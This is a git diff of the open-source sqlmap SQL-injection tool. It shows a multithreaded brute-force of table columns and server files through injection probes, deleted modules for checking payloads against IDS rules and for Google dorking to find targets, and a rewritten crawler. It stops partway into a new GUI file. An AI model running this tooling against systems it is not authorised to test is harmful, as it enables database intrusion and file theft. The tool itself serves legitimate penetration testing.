UPPER_CASE_DBMSES: + conf.db = conf.db.upper() + + result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr()))) + + if result: + errMsg = "can't use column existence check because of detected invalid results " + errMsg += "(most likely caused by inability of the used injection " + errMsg += "to distinguish erroneous results)" + raise SqlmapDataException(errMsg) + + message = "which common columns (wordlist) file do you want to use?\n" + message += "[1] default '%s' (press Enter)\n" % columnFile + message += "[2] custom" + choice = readInput(message, default='1') + + if choice == '2': + message = "what's the custom common columns file location?\n" + columnFile = readInput(message) or columnFile + + infoMsg = "checking column existence using items from '%s'" % columnFile + logger.info(infoMsg) + + columns = getFileItems(columnFile, unique=True) + columns.extend(_addPageTextWords()) + columns = filterListValue(columns, regex) + + for table in conf.tbl.split(','): + table = safeSQLIdentificatorNaming(table, True) + + if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table) + + kb.threadContinue = True + kb.bruteMode = True + + threadData = getCurrentThreadData() + threadData.shared.count = 0 + threadData.shared.limit = len(columns) + threadData.shared.files = [] + + def columnExistsThread(): + threadData = getCurrentThreadData() + + while kb.threadContinue: + kb.locks.count.acquire() + + if threadData.shared.count < threadData.shared.limit: + column = safeSQLIdentificatorNaming(columns[threadData.shared.count]) + threadData.shared.count += 1 + kb.locks.count.release() + else: + kb.locks.count.release() + break + + if Backend.isDbms(DBMS.MCKOI): + result = inject.checkBooleanExpression(safeStringFormat("0<(SELECT COUNT(%s) FROM %s)", (column, table))) + else: + result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) + + kb.locks.io.acquire() + + if result: + threadData.shared.files.append(column) + + if conf.verbose in (1, 2) and not conf.api: + clearConsoleLine(True) + infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) + dataToStdout(infoMsg, True) + + if conf.verbose in (1, 2): + status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) + dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) + + kb.locks.io.release() + + try: + runThreads(conf.threads, columnExistsThread, threadChoice=True) + except KeyboardInterrupt: + warnMsg = "user aborted during column existence " + warnMsg += "check. sqlmap will display partial output" + logger.warning(warnMsg) + finally: + kb.bruteMode = False + + clearConsoleLine(True) + dataToStdout("\n") + + if not threadData.shared.files: + warnMsg = "no column(s) found" + logger.warning(warnMsg) + else: + columns = {} + + for column in threadData.shared.files: + if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): + result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,): + result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column))) + elif Backend.getIdentifiedDbms() in (DBMS.MCKOI,): + result = inject.checkBooleanExpression("%s" % safeStringFormat("0=(SELECT MAX(%s)-MAX(%s) FROM %s)", (column, column, table))) + else: + result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) + + if result: + columns[column] = "numeric" + else: + columns[column] = "non-numeric" + + kb.data.cachedColumns[conf.db] = {table: columns} + + for _ in ((conf.db, table, item[0], item[1]) for item in columns.items()): + if _ not in kb.brute.columns: + kb.brute.columns.append(_) + + hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) + + return kb.data.cachedColumns + +@stackedmethod +def fileExists(pathFile): + retVal = [] + + message = "which common files file do you want to use?\n" + message += "[1] default '%s' (press Enter)\n" % pathFile + message += "[2] custom" + choice = readInput(message, default='1') + + if choice == '2': + message = "what's the custom common files file location?\n" + pathFile = readInput(message) or pathFile + + infoMsg = "checking files existence using items from '%s'" % pathFile + logger.info(infoMsg) + + paths = getFileItems(pathFile, unique=True) + + kb.bruteMode = True + + try: + conf.dbmsHandler.readFile(randomStr()) + except SqlmapNoneDataException: + pass + except: + kb.bruteMode = False + raise + + threadData = getCurrentThreadData() + threadData.shared.count = 0 + threadData.shared.limit = len(paths) + threadData.shared.files = [] + + def fileExistsThread(): + threadData = getCurrentThreadData() + + while kb.threadContinue: + kb.locks.count.acquire() + if threadData.shared.count < threadData.shared.limit: + path = ntToPosixSlashes(paths[threadData.shared.count]) + threadData.shared.count += 1 + kb.locks.count.release() + else: + kb.locks.count.release() + break + + try: + result = unArrayizeValue(conf.dbmsHandler.readFile(path)) + except SqlmapNoneDataException: + result = None + + kb.locks.io.acquire() + + if not isNoneValue(result): + threadData.shared.files.append(result) + + if not conf.api: + clearConsoleLine(True) + infoMsg = "[%s] [INFO] retrieved: '%s'\n" % (time.strftime("%X"), path) + dataToStdout(infoMsg, True) + + if conf.verbose in (1, 2): + status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) + dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) + + kb.locks.io.release() + + try: + runThreads(conf.threads, fileExistsThread, threadChoice=True) + except KeyboardInterrupt: + warnMsg = "user aborted during file existence " + warnMsg += "check. sqlmap will display partial output" + logger.warning(warnMsg) + finally: + kb.bruteMode = False + + clearConsoleLine(True) + dataToStdout("\n") + + if not threadData.shared.files: + warnMsg = "no file(s) found" + logger.warning(warnMsg) + else: + retVal = threadData.shared.files + + return retVal diff --git a/lib/utils/checkpayload.py b/lib/utils/checkpayload.py deleted file mode 100644 index 17bb26a7c1e..00000000000 --- a/lib/utils/checkpayload.py +++ /dev/null @@ -1,56 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.common import readXmlFile -from lib.core.convert import urldecode -from lib.core.data import paths -from lib.core.data import logger - -rules = None - -def __adjustGrammar(string): - string = re.sub('\ADetects', 'Detected', string) - string = re.sub('\Afinds', 'Found', string) - string = re.sub('attempts\Z', 'attempt', string) - string = re.sub('injections\Z', 'injection', string) - string = re.sub('attacks\Z', 'attack', string) - - return string - -def checkPayload(payload): - """ - This method checks if the generated payload is detectable by the - PHPIDS filter rules - """ - - if not payload: - return - - global rules - - detected = False - payload = urldecode(payload) - - if not rules: - xmlrules = readXmlFile(paths.PHPIDS_RULES_XML) - rules = [] - - for xmlrule in xmlrules.getElementsByTagName("filter"): - rule = "(?i)%s" % xmlrule.getElementsByTagName('rule')[0].childNodes[0].nodeValue - desc = __adjustGrammar(xmlrule.getElementsByTagName('description')[0].childNodes[0].nodeValue) - rules.append((rule, desc)) - - if payload: - for rule, desc in rules: - if re.search(rule, payload): - detected = True - logger.warn("highly probable IDS/IPS detection: '%s: %s'" % (desc, payload)) - - if not detected: - logger.warn("payload '%s' possibly gone undetected" % payload) diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index fd7ff302cd3..3741d2ace14 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -1,129 +1,265 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import httplib +from __future__ import division + +import os import re -import urlparse +import tempfile import time +from lib.core.common import checkSameHost from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout +from lib.core.common import extractRegexResult from lib.core.common import findPageForms -from lib.core.common import singleTimeWarnMessage +from lib.core.common import getSafeExString +from lib.core.common import openFile +from lib.core.common import readInput +from lib.core.common import safeCSValue +from lib.core.common import urldecode +from lib.core.compat import xrange +from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException +from lib.core.datatype import OrderedSet +from lib.core.enums import MKSTEMP_PREFIX +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapSyntaxException from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads +from lib.parse.sitemap import parseSitemap from lib.request.connect import Connect as Request -from extra.beautifulsoup.beautifulsoup import BeautifulSoup -from extra.oset.pyoset import oset +from thirdparty import six +from thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib -class Crawler: - """ - This class defines methods used to perform crawling (command - line option '--crawl' - """ +def crawl(target, post=None, cookie=None): + if not target: + return - def getTargetUrls(self): - try: - threadData = getCurrentThreadData() - threadData.shared.outputs = oset() + try: + visited = set() + threadData = getCurrentThreadData() + threadData.shared.value = OrderedSet() + threadData.shared.formsFound = False - def crawlThread(): - threadData = getCurrentThreadData() + def crawlThread(): + threadData = getCurrentThreadData() - while kb.threadContinue: - with kb.locks.limits: - if threadData.shared.unprocessed: - current = threadData.shared.unprocessed.pop() + while kb.threadContinue: + with kb.locks.limit: + if threadData.shared.unprocessed: + current = threadData.shared.unprocessed.pop() + if current in visited: + continue + elif conf.crawlExclude and re.search(conf.crawlExclude, current): + dbgMsg = "skipping '%s'" % current + logger.debug(dbgMsg) + continue else: - break + visited.add(current) + else: + break + + content = None + try: + if current: + content = Request.getPage(url=current, post=post, cookie=None, crawling=True, raise404=False)[0] + except SqlmapConnectionException as ex: + errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(ex) + errMsg += "URL '%s'" % current + logger.critical(errMsg) + except SqlmapSyntaxException: + errMsg = "invalid URL detected. skipping '%s'" % current + logger.critical(errMsg) + except _http_client.InvalidURL as ex: + errMsg = "invalid URL detected ('%s'). skipping " % getSafeExString(ex) + errMsg += "URL '%s'" % current + logger.critical(errMsg) - content = None + if not kb.threadContinue: + break + + if isinstance(content, six.text_type): try: - if current: - content = Request.getPage(url=current, crawling=True, raise404=False)[0] - except sqlmapConnectionException, e: - errMsg = "connection exception detected (%s). skipping " % e - errMsg += "url '%s'" % current - logger.critical(errMsg) - except httplib.InvalidURL, e: - errMsg = "invalid url detected (%s). skipping " % e - errMsg += "url '%s'" % current - logger.critical(errMsg) - - if not kb.threadContinue: - break + match = re.search(r"(?si)<html[^>]*>(.+)</html>", content) + if match: + content = "<html>%s</html>" % match.group(1) + + soup = BeautifulSoup(content) + tags = soup('a') + + tags += re.finditer(r'(?i)\s(href|src)=["\'](?P<href>[^>"\']+)', content) + tags += re.finditer(r'(?i)window\.open\(["\'](?P<href>[^)"\']+)["\']', content) + + for tag in tags: + href = tag.get("href") if hasattr(tag, "get") else tag.group("href") - if isinstance(content, unicode): - try: - soup = BeautifulSoup(content) - for tag in soup('a'): - if tag.get("href"): - url = urlparse.urljoin(conf.url, tag.get("href")) + if href: + if threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: + current = threadData.lastRedirectURL[1] + url = _urllib.parse.urljoin(current, htmlUnescape(href)) - # flag to know if we are dealing with the same target host - target = reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], [url, conf.url])) + # flag to know if we are dealing with the same target host + _ = checkSameHost(url, target) - if conf.scope: - if not re.search(conf.scope, url, re.I): - continue - elif not target: + if conf.scope: + if not re.search(conf.scope, url, re.I): continue + elif not _: + continue - if url.split('.')[-1].lower() not in CRAWL_EXCLUDE_EXTENSIONS: - with kb.locks.outputs: - threadData.shared.deeper.add(url) - if re.search(r"(.*?)\?(.+)", url): - threadData.shared.outputs.add(url) - except UnicodeEncodeError: # for non-HTML files - pass - finally: - if conf.forms: - findPageForms(content, current, False, True) - - if conf.verbose in (1, 2): - threadData.shared.count += 1 - status = '%d/%d links visited (%d%s)' % (threadData.shared.count, threadData.shared.length, round(100.0*threadData.shared.count/threadData.shared.length), '%') - dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) - - threadData.shared.deeper = set() - threadData.shared.unprocessed = set([conf.url]) - - logger.info("starting crawler") - - for i in xrange(conf.crawlDepth): - if i > 0 and conf.threads == 1: - singleTimeWarnMessage("running in a single-thread mode. This could take a while.") - threadData.shared.count = 0 - threadData.shared.length = len(threadData.shared.unprocessed) - numThreads = min(conf.threads, len(threadData.shared.unprocessed)) - logger.info("searching for links with depth %d" % (i + 1)) - runThreads(numThreads, crawlThread) - clearConsoleLine(True) - if threadData.shared.deeper: - threadData.shared.unprocessed = set(threadData.shared.deeper) - else: - break + if (extractRegexResult(r"\A[^?]+\.(?P<result>\w+)(\?|\Z)", url) or "").lower() not in CRAWL_EXCLUDE_EXTENSIONS: + with kb.locks.value: + threadData.shared.deeper.add(url) + if re.search(r"(.*?)\?(.+)", url) and not re.search(r"\?(v=)?\d+\Z", url) and not re.search(r"(?i)\.(js|css)(\?|\Z)", url): + threadData.shared.value.add(url) + except UnicodeEncodeError: # for non-HTML files + pass + except ValueError: # for non-valid links + pass + except AssertionError: # for invalid HTML + pass + finally: + if conf.forms: + threadData.shared.formsFound |= len(findPageForms(content, current, False, True)) > 0 + + if conf.verbose in (1, 2): + threadData.shared.count += 1 + status = '%d/%d links visited (%d%%)' % (threadData.shared.count, threadData.shared.length, round(100.0 * threadData.shared.count / threadData.shared.length)) + dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) + + threadData.shared.deeper = set() + threadData.shared.unprocessed = set([target]) + + _ = re.sub(r"(?<!/)/(?!/).*", "", target) + if _: + if target.strip('/') != _.strip('/'): + threadData.shared.unprocessed.add(_) + + if re.search(r"\?.*\b\w+=", target): + threadData.shared.value.add(target) + + if kb.checkSitemap is None: + message = "do you want to check for the existence of " + message += "site's sitemap(.xml) [y/N] " + kb.checkSitemap = readInput(message, default='N', boolean=True) + + if kb.checkSitemap: + found = True + items = None + url = _urllib.parse.urljoin(target, "/sitemap.xml") + try: + items = parseSitemap(url) + except SqlmapConnectionException as ex: + if "page not found" in getSafeExString(ex): + found = False + logger.warning("'sitemap.xml' not found") + except: + pass + finally: + if found: + if items: + for item in items: + if re.search(r"(.*?)\?(.+)", item): + threadData.shared.value.add(item) + if conf.crawlDepth > 1: + threadData.shared.unprocessed.update(items) + logger.info("%s links found" % ("no" if not items else len(items))) + + if not conf.bulkFile: + infoMsg = "starting crawler for target URL '%s'" % target + logger.info(infoMsg) - except KeyboardInterrupt: - warnMsg = "user aborted during crawling. sqlmap " - warnMsg += "will use partial list" - logger.warn(warnMsg) + for i in xrange(conf.crawlDepth): + threadData.shared.count = 0 + threadData.shared.length = len(threadData.shared.unprocessed) + numThreads = min(conf.threads, len(threadData.shared.unprocessed)) - finally: + if not conf.bulkFile: + logger.info("searching for links with depth %d" % (i + 1)) + + runThreads(numThreads, crawlThread, threadChoice=(i > 0)) clearConsoleLine(True) - if not threadData.shared.outputs: - warnMsg = "no usable links found (with GET parameters)" - logger.warn(warnMsg) + if threadData.shared.deeper: + threadData.shared.unprocessed = set(threadData.shared.deeper) else: - for url in threadData.shared.outputs: - kb.targetUrls.add(( url, None, None, None )) + break + + except KeyboardInterrupt: + warnMsg = "user aborted during crawling. sqlmap " + warnMsg += "will use partial list" + logger.warning(warnMsg) + + finally: + clearConsoleLine(True) + + if not threadData.shared.value: + if not (conf.forms and threadData.shared.formsFound): + warnMsg = "no usable links found (with GET parameters)" + if conf.forms: + warnMsg += " or forms" + logger.warning(warnMsg) + else: + for url in threadData.shared.value: + kb.targets.add((urldecode(url, kb.pageEncoding), None, None, None, None)) + + if kb.targets: + if kb.normalizeCrawlingChoice is None: + message = "do you want to normalize " + message += "crawling results [Y/n] " + + kb.normalizeCrawlingChoice = readInput(message, default='Y', boolean=True) + + if kb.normalizeCrawlingChoice: + seen = set() + results = OrderedSet() + + for target in kb.targets: + value = "%s%s%s" % (target[0], '&' if '?' in target[0] else '?', target[2] or "") + match = re.search(r"/[^/?]*\?.+\Z", value) + if match: + key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") + if '=' in key and key not in seen: + results.add(target) + seen.add(key) + + kb.targets = results + + storeResultsToFile(kb.targets) + +def storeResultsToFile(results): + if not results: + return + + if kb.storeCrawlingChoice is None: + message = "do you want to store crawling results to a temporary file " + message += "for eventual further processing with other tools [y/N] " + + kb.storeCrawlingChoice = readInput(message, default='N', boolean=True) + + if kb.storeCrawlingChoice: + handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CRAWLER, suffix=".csv" if conf.forms else ".txt") + os.close(handle) + + infoMsg = "writing crawling results to a temporary file '%s' " % filename + logger.info(infoMsg) + + with openFile(filename, "w+") as f: + if conf.forms: + f.write("URL,POST\n") + + for url, _, data, _, _ in results: + if conf.forms: + f.write("%s,%s\n" % (safeCSValue(url), safeCSValue(data or ""))) + else: + f.write("%s\n" % url) diff --git a/lib/utils/deps.py b/lib/utils/deps.py index e59e15a677a..51a9a23ea46 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -1,13 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.data import logger +from lib.core.dicts import DBMS_DICT from lib.core.enums import DBMS -from lib.core.settings import DBMS_DICT from lib.core.settings import IS_WIN def checkDependencies(): @@ -19,31 +19,52 @@ def checkDependencies(): try: if dbmsName in (DBMS.MSSQL, DBMS.SYBASE): - import _mssql - import pymssql + __import__("_mssql") + pymssql = __import__("pymssql") if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2": warnMsg = "'%s' third-party library must be " % data[1] warnMsg += "version >= 1.0.2 to work properly. " - warnMsg += "Download from %s" % data[2] - logger.warn(warnMsg) + warnMsg += "Download from '%s'" % data[2] + logger.warning(warnMsg) elif dbmsName == DBMS.MYSQL: - import pymysql - elif dbmsName == DBMS.PGSQL: - import psycopg2 + __import__("pymysql") + elif dbmsName in (DBMS.PGSQL, DBMS.CRATEDB): + __import__("psycopg2") elif dbmsName == DBMS.ORACLE: - import cx_Oracle + __import__("oracledb") elif dbmsName == DBMS.SQLITE: - import sqlite3 + __import__("sqlite3") elif dbmsName == DBMS.ACCESS: - import pyodbc + __import__("pyodbc") elif dbmsName == DBMS.FIREBIRD: - import kinterbasdb - except ImportError, _: + __import__("kinterbasdb") + elif dbmsName == DBMS.DB2: + __import__("ibm_db_dbi") + elif dbmsName in (DBMS.HSQLDB, DBMS.CACHE): + __import__("jaydebeapi") + __import__("jpype") + elif dbmsName == DBMS.INFORMIX: + __import__("ibm_db_dbi") + elif dbmsName == DBMS.MONETDB: + __import__("pymonetdb") + elif dbmsName == DBMS.DERBY: + __import__("drda") + elif dbmsName == DBMS.VERTICA: + __import__("vertica_python") + elif dbmsName == DBMS.PRESTO: + __import__("prestodb") + elif dbmsName == DBMS.MIMERSQL: + __import__("mimerpy") + elif dbmsName == DBMS.CUBRID: + __import__("CUBRIDdb") + elif dbmsName == DBMS.CLICKHOUSE: + __import__("clickhouse_connect") + except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] - warnMsg += "in order to directly connect to the database " - warnMsg += "%s. Download from %s" % (dbmsName, data[2]) - logger.warn(warnMsg) + warnMsg += "in order to directly connect to the DBMS " + warnMsg += "'%s'. Download from '%s'" % (dbmsName, data[2]) + logger.warning(warnMsg) missing_libraries.add(data[1]) continue @@ -52,40 +73,82 @@ def checkDependencies(): logger.debug(debugMsg) try: - import impacket + __import__("impacket") debugMsg = "'python-impacket' third-party library is found" logger.debug(debugMsg) - except ImportError, _: + except ImportError: warnMsg = "sqlmap requires 'python-impacket' third-party library for " warnMsg += "out-of-band takeover feature. Download from " - warnMsg += "http://code.google.com/p/impacket/" - logger.warn(warnMsg) + warnMsg += "'https://github.com/coresecurity/impacket'" + logger.warning(warnMsg) missing_libraries.add('python-impacket') try: - import ntlm + __import__("ntlm") debugMsg = "'python-ntlm' third-party library is found" logger.debug(debugMsg) - except ImportError, _: - warnMsg = "sqlmap requires 'python-ntlm' third-party library for " + except ImportError: + warnMsg = "sqlmap requires 'python-ntlm' third-party library " warnMsg += "if you plan to attack a web application behind NTLM " - warnMsg += "authentication. Download from http://code.google.com/p/python-ntlm/" - logger.warn(warnMsg) + warnMsg += "authentication. Download from 'https://github.com/mullender/python-ntlm'" + logger.warning(warnMsg) missing_libraries.add('python-ntlm') + try: + __import__("httpx") + debugMsg = "'httpx[http2]' third-party library is found" + logger.debug(debugMsg) + except ImportError: + warnMsg = "sqlmap requires 'httpx[http2]' third-party library " + warnMsg += "if you plan to use HTTP version 2" + logger.warning(warnMsg) + missing_libraries.add('httpx[http2]') + + try: + __import__("websocket._abnf") + debugMsg = "'websocket-client' library is found" + logger.debug(debugMsg) + except ImportError: + warnMsg = "sqlmap requires 'websocket-client' third-party library " + warnMsg += "if you plan to attack a web application using WebSocket. " + warnMsg += "Download from 'https://pypi.python.org/pypi/websocket-client/'" + logger.warning(warnMsg) + missing_libraries.add('websocket-client') + + try: + __import__("tkinter") + debugMsg = "'tkinter' library is found" + logger.debug(debugMsg) + except ImportError: + warnMsg = "sqlmap requires 'tkinter' library " + warnMsg += "if you plan to run a GUI" + logger.warning(warnMsg) + missing_libraries.add('tkinter') + + try: + __import__("tkinter.ttk") + debugMsg = "'tkinter.ttk' library is found" + logger.debug(debugMsg) + except ImportError: + warnMsg = "sqlmap requires 'tkinter.ttk' library " + warnMsg += "if you plan to run a GUI" + logger.warning(warnMsg) + missing_libraries.add('tkinter.ttk') + if IS_WIN: try: - import pyreadline + __import__("pyreadline") debugMsg = "'python-pyreadline' third-party library is found" logger.debug(debugMsg) - except ImportError, _: + except ImportError: warnMsg = "sqlmap requires 'pyreadline' third-party library to " warnMsg += "be able to take advantage of the sqlmap TAB " warnMsg += "completion and history support features in the SQL " warnMsg += "shell and OS shell. Download from " - warnMsg += "http://ipython.scipy.org/moin/PyReadline/Intro" - logger.warn(warnMsg) + warnMsg += "'https://pypi.org/project/pyreadline/'" + logger.warning(warnMsg) missing_libraries.add('python-pyreadline') if len(missing_libraries) == 0: infoMsg = "all dependencies are installed" + logger.info(infoMsg) diff --git a/lib/utils/getch.py b/lib/utils/getch.py index b4afdd00e26..00c92f87368 100644 --- a/lib/utils/getch.py +++ b/lib/utils/getch.py @@ -1,11 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -class _Getch: +class _Getch(object): """ Gets a single character from standard input. Does not echo to the screen (reference: http://code.activestate.com/recipes/134892/) @@ -16,18 +16,21 @@ def __init__(self): except ImportError: try: self.impl = _GetchMacCarbon() - except(AttributeError, ImportError): + except (AttributeError, ImportError): self.impl = _GetchUnix() - def __call__(self): return self.impl() - + def __call__(self): + return self.impl() -class _GetchUnix: +class _GetchUnix(object): def __init__(self): - import tty + __import__("tty") def __call__(self): - import sys, tty, termios + import sys + import termios + import tty + fd = sys.stdin.fileno() old_settings = termios.tcgetattr(fd) try: @@ -37,17 +40,15 @@ def __call__(self): termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) return ch - -class _GetchWindows: +class _GetchWindows(object): def __init__(self): - import msvcrt + __import__("msvcrt") def __call__(self): import msvcrt return msvcrt.getch() - -class _GetchMacCarbon: +class _GetchMacCarbon(object): """ A function which returns the current ASCII key that is down; if no ASCII key is down, the null string is returned. The @@ -56,11 +57,13 @@ class _GetchMacCarbon: """ def __init__(self): import Carbon - Carbon.Evt #see if it has this (in Unix, it doesn't) + + getattr(Carbon, "Evt") # see if it has this (in Unix, it doesn't) def __call__(self): import Carbon - if Carbon.Evt.EventAvail(0x0008)[0]==0: # 0x0008 is the keyDownMask + + if Carbon.Evt.EventAvail(0x0008)[0] == 0: # 0x0008 is the keyDownMask return '' else: # @@ -72,8 +75,7 @@ def __call__(self): # number is converted to an ASCII character with chr() and # returned # - (what,msg,when,where,mod)=Carbon.Evt.GetNextEvent(0x0008)[1] + (what, msg, when, where, mod) = Carbon.Evt.GetNextEvent(0x0008)[1] return chr(msg & 0x000000FF) - getch = _Getch() diff --git a/lib/utils/google.py b/lib/utils/google.py deleted file mode 100644 index c2c8a740b6e..00000000000 --- a/lib/utils/google.py +++ /dev/null @@ -1,146 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import cookielib -import httplib -import re -import socket -import urllib -import urllib2 - -from lib.core.common import getUnicode -from lib.core.common import readInput -from lib.core.convert import urldecode -from lib.core.convert import urlencode -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException -from lib.core.exception import sqlmapGenericException -from lib.core.settings import GOOGLE_REGEX -from lib.core.settings import UNICODE_ENCODING -from lib.core.settings import URI_INJECTABLE_REGEX -from lib.request.basic import decodePage - -class Google: - """ - This class defines methods used to perform Google dorking (command - line option '-g <google dork>' - """ - - def __init__(self, handlers): - self._matches = [] - self._cj = cookielib.CookieJar() - - handlers.append(urllib2.HTTPCookieProcessor(self._cj)) - - self.opener = urllib2.build_opener(*handlers) - self.opener.addheaders = conf.httpHeaders - - def _parsePage(self, page): - """ - Parse Google dork search results page to get the list of - HTTP addresses - """ - - retVal = [urllib.unquote(match.group(1)) for match in re.finditer(GOOGLE_REGEX, page, re.I | re.S)] - - return retVal - - def getTargetUrls(self): - """ - This method returns the list of hosts with parameters out of - your Google dork search results - """ - - for _ in self._matches: - _ = urldecode(_) - if re.search(r"(.*?)\?(.+)", _): - kb.targetUrls.add((_, None, None, None)) - elif re.search(URI_INJECTABLE_REGEX, _, re.I): - if kb.scanOnlyGoogleGETs is None: - message = "do you want to scan only results containing GET parameters? [Y/n] " - test = readInput(message, default="Y") - kb.scanOnlyGoogleGETs = test.lower() != 'n' - if not kb.scanOnlyGoogleGETs: - kb.targetUrls.add((_, None, None, None)) - - def getCookie(self): - """ - This method is the first to be called when initializing a - Google dorking object through this library. It is used to - retrieve the Google session cookie needed to perform the - further search - """ - - try: - conn = self.opener.open("http://www.google.com/ncr") - _ = conn.info() - except urllib2.HTTPError, e: - _ = e.info() - except urllib2.URLError: - errMsg = "unable to connect to Google" - raise sqlmapConnectionException, errMsg - - def search(self, googleDork): - """ - This method performs the effective search on Google providing - the google dork and the Google session cookie - """ - - gpage = conf.googlePage if conf.googlePage > 1 else 1 - logger.info("using Google result page #%d" % gpage) - - if not googleDork: - return None - - url = "http://www.google.com/search?" - url += "q=%s&" % urlencode(googleDork, convall=True) - url += "num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search" - url += "&start=%d" % ((gpage-1) * 100) - - try: - conn = self.opener.open(url) - - requestMsg = "HTTP request:\nGET %s" % url - requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str - logger.log(8, requestMsg) - - page = conn.read() - code = conn.code - status = conn.msg - responseHeaders = conn.info() - page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type")) - - responseMsg = "HTTP response (%s - %d):\n" % (status, code) - - if conf.verbose <= 4: - responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) - elif conf.verbose > 4: - responseMsg += "%s\n%s\n" % (responseHeaders, page) - - logger.log(7, responseMsg) - except urllib2.HTTPError, e: - try: - page = e.read() - except socket.timeout: - warnMsg = "connection timed out while trying " - warnMsg += "to get error page information (%d)" % e.code - logger.critical(warnMsg) - return None - except (urllib2.URLError, socket.error, socket.timeout): - errMsg = "unable to connect to Google" - raise sqlmapConnectionException, errMsg - - self._matches = self._parsePage(page) - - if not self._matches and "detected unusual traffic" in page: - warnMsg = "Google has detected 'unusual' traffic from " - warnMsg += "this computer disabling further searches" - raise sqlmapGenericException, warnMsg - - return self._matches diff --git a/lib/utils/gui.py b/lib/utils/gui.py new file mode 100644 index 00000000000..3e3500bc507 --- /dev/null +++ b/lib/utils/gui.py @@ -0,0 +1,426 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re +import socket +import subprocess +import sys +import tempfile +import threading +import webbrowser + +from lib.core.common import getSafeExString +from lib.core.common import saveConfig +from lib.core.data import paths +from lib.core.defaults import defaults +from lib.core.enums import MKSTEMP_PREFIX +from lib.core.exception import SqlmapMissingDependence +from lib.core.exception import SqlmapSystemException +from lib.core.settings import DEV_EMAIL_ADDRESS +from lib.core.settings import IS_WIN +from lib.core.settings import ISSUES_PAGE +from lib.core.settings import GIT_PAGE +from lib.core.settings import SITE +from lib.core.settings import VERSION_STRING +from lib.core.settings import WIKI_PAGE +from thirdparty.six.moves import queue as _queue + +alive = None +line = "" +process = None +queue = None + +def runGui(parser): + try: + from thirdparty.six.moves import tkinter as _tkinter + from thirdparty.six.moves import tkinter_scrolledtext as _tkinter_scrolledtext + from thirdparty.six.moves import tkinter_ttk as _tkinter_ttk + from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox + except ImportError as ex: + raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex)) + + # Reference: 